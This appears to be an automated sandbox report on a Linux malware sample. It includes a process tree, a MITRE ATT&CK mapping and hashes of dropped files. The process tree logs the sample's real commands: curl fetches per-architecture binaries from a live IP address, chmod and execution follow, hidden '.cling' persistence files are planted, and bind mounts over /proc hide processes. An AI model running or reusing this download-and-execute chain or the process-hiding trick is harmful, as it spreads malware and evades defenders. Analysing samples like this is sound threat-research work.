- /bin/chmod
  chmod 777 m.mipsel
  2⤵
  - File and Directory Permissions Modification
  PID:1749
- /tmp/m.mipsel
  ./m.mipsel lilin
  2⤵
  - System Network Configuration Discovery
  PID:1750
- /usr/bin/curl
  curl -O http://222.223.152.97:800/m.powerpc
  2⤵
  - Writes file to tmp directory
  PID:1752
- /bin/chmod
  chmod 777 m.powerpc
  2⤵
  - File and Directory Permissions Modification
  PID:1753
- /tmp/m.powerpc
  ./m.powerpc lilin
  2⤵
  PID:1754
- /usr/bin/curl
  curl -O http://222.223.152.97:800/m.x86_64
  2⤵
  - Writes file to tmp directory
  PID:1756
- /bin/chmod
  chmod 777 m.x86_64
  2⤵
  - File and Directory Permissions Modification
  PID:1757
- /tmp/m.x86_64
  ./m.x86_64 lilin
  2⤵
  - Modifies Watchdog functionality
  - Changes its process name
  - Reads runtime system information
  PID:1758
- - /bin/sh
    sh -c "chmod +x /root/.cling"
    3⤵
    PID:1760
  - - /bin/chmod
      chmod +x /root/.cling
      4⤵
      File and Directory Permissions Modification
      PID:1761
- - /bin/sh
    sh -c "chmod +x /usr/local/bin/.cling"
    3⤵
    - File and Directory Permissions Modification
    PID:1762
  - - /bin/chmod
      chmod +x /usr/local/bin/.cling
      4⤵
      File and Directory Permissions Modification
      PID:1763
- - /bin/sh
    sh -c "mount --bind /tmp /proc/1759"
    3⤵
    PID:1764
  - - /bin/mount
      mount --bind /tmp /proc/1759
      4⤵
      PID:1765
- - /bin/sh
    sh -c "mount --bind /tmp /proc/1769"
    3⤵
    PID:1770
  - - /bin/mount
      mount --bind /tmp /proc/1769
      4⤵
      PID:1771

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Impair Defenses

T1562

Credential Access

Discovery

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

.cling

Path /root/.cling
Size 44KB
SHA256 e4d12208789f36efc5a1ff765088fed95d6bb5972d1a804a4536fd42366797d4
MD5 26cec4fe9fd641e2b9090c1551ee53cf
SHA1 77a5e2f921c3362bc41509b8f652d920498cc6cb
SHA512 4cac18b0a30da7c962c3ce0e315686986360782a37b4dff2d55af63c6ed9d6e87bd6e2c7c4a1995d01cf7cc8f6b2e1fe1e6ccf141df3ff18af85624d09db1a09
SSDEEP 768:LkNA/AlcvvfiZkyl6e4TzPunjHUDCzlxCyaKJBK4SZZef6zErk:Yb0reazyuC57aVpZZ+6or
TLSH
T199234B82EAE3C2F1F5938570001BE7AF8F34CD294055DAAAF7497931BC72B85055E6AC
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

cmdline

Path /tmp/cmdline
Size 11B
SHA256 6628c1ade33319fc12730a87856ccdb1e4eaed9a0aa2b0bce0535a97a232f272
MD5 88af90d1f18b944c6d2365f389b9bfe5
SHA1 9cb724a1fb906a66b81d24a84257e3cf69b69214
SHA512 254c37d06ebbff6b4e7c1ee2e354e142e7c8fc26c8b396712b875979de4234bc121225e765eb65d3008fa159488b245c0e30d613a9f99c90519f1b1b184178d4
MD5 SHA1 SHA512

Submit Download

m.armv4l

Path /tmp/m.armv4l
Size 49KB
SHA256 c0d8ffebfba969b1c1ca76bd9623bb623e9f95155c8ceca77d8fcc521435a497
MD5 2e137a9159866bc875aaba0a338a86fd
SHA1 a2821814bdcf85147839dc562214fed3bb3d4399
SHA512 60c08ca6c611af8accd8bb970fa5abfe10010a5759991fad0abccacc63c5f6814eff2ade8026edf81b2d9cfcdd2d86f876a8486ed2284d77094268cca2f5bf86
SSDEEP 1536:1cYWXIVwNadGOxDp36CX5M2o+Ona2T3yOORBcIr:1cLXIV7Fp3jXRoUx9BN
TLSH
T1F7330868F880DB22C6D1157AFA5E528C73530F78D2D973029E14AE346BFBA570F3A941
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

stat

Path /tmp/stat
Size 314B
SHA256 651b69de5912c38c3ca412b3ed7132563e2c4a88c330b99d891cd621558b08d8
MD5 2980e0ed90b16ce226f73442728031ec
SHA1 e92788991a13e5b27c053ea048c66d6190077409
SHA512 c572e994cd276da3e0cce4937b6d0d6a89fbff400a8a1e6fbe383c09f4731ae03af91f574fd9f0ec9dca0f9f58c43b11af8ef1deb3fee97ee438b64ea225f9ae
TLSH
T15EE086A557C88DDD344BDD53443788CA5B0DA8763F1305A4095C4235230A714DE9F45A
MD5 SHA1 SHA512 TLSH

Submit Download

statm

Path /tmp/statm
Size 29B
SHA256 54f0d016b53a295613dc3184001fa2bf6bef4a087520ac60acd563a85a59b4d2
MD5 28eba49b14dab17ea9875160a88e87ed
SHA1 a1e9f89fdcfe3c323fb4feb97c5c03fd72fb79d7
SHA512 155e611b456623a83a033f5ea8c016ad3d47cbb2482dad39a392c25a3f601acc9e7807346e717671ca50fd2ab9862a725849e6b85aef32f3332fe3d80e994c98
MD5 SHA1 SHA512

Submit Download

status

Path /tmp/status
Size 1KB
SHA256 92a4e5d99e4f0003d89c52b7a38870b9b621e4ec348c42972db39aa811a384fb
MD5 915c584c746229e71673c7c489626cc4
SHA1 2f1be48136acd92c3d5e7f0f0e08ebf883ac81eb
SHA512 edb5502cb180ab6bc63ed1fe18b474b934edf8f765b296ed6cb75914a23ce102ad2e84f7cb6dbfeed365bd6b444dea8096237bf6682cd42d1794ecf577c76d1b
TLSH
T1762153218FD6A894CAAE8388C76AF4101070B21924D16D31304EC47CBF3BEDB9388FD8
MD5 SHA1 SHA512 TLSH

Submit Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

Replay Monitor

Loading Replay Monitor...

Downloads